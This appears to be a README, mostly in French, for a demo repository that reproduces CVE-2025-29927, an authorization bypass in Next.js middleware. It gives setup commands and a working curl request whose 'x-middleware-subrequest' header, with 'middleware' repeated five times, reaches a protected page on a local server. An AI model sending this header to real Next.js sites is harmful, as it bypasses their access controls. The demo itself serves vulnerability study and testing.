
Next.js における認可バイパスの脆弱性 CVE-2025-29927 を再現するデモです。
Démo reproduisant la vulnérabilité de contournement d'autorisation dans Next.js.
Pour plus de détails sur cette vulnérabilité, veuillez consulter Résumé de la vulnérabilité CVE-2025-29927 de Next.js.
git clone https://github.com/t3tra-dev/cve-2025-29927-demo.git
cd cve-2025-29927-demo
git pull origin main
npm install
npm run dev
x-middleware-subrequest en utilisant curl ou similaire.curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/protected
Cela déclenche un contournement d'autorisation et permet d'accéder à la page /protected.
La valeur middleware est le nom du middleware reconnu par Next.js. Dans cette application de démo, un middleware nommé middleware existe, donc en spécifiant cette valeur, le contournement d'autorisation se produit.
[!TIP] Dans Next.js 15.x,
MAX_RECURSION_DEPTHest défini sur 5, donc il est nécessaire de répéter la valeur de middleware au moins 5 fois séparées par:. Dans les versions plus anciennes (14.x), simplement « middleware » suffisait. Cette application de démo utilise Next.js 15.2.2, donc une telle valeur est nécessaire.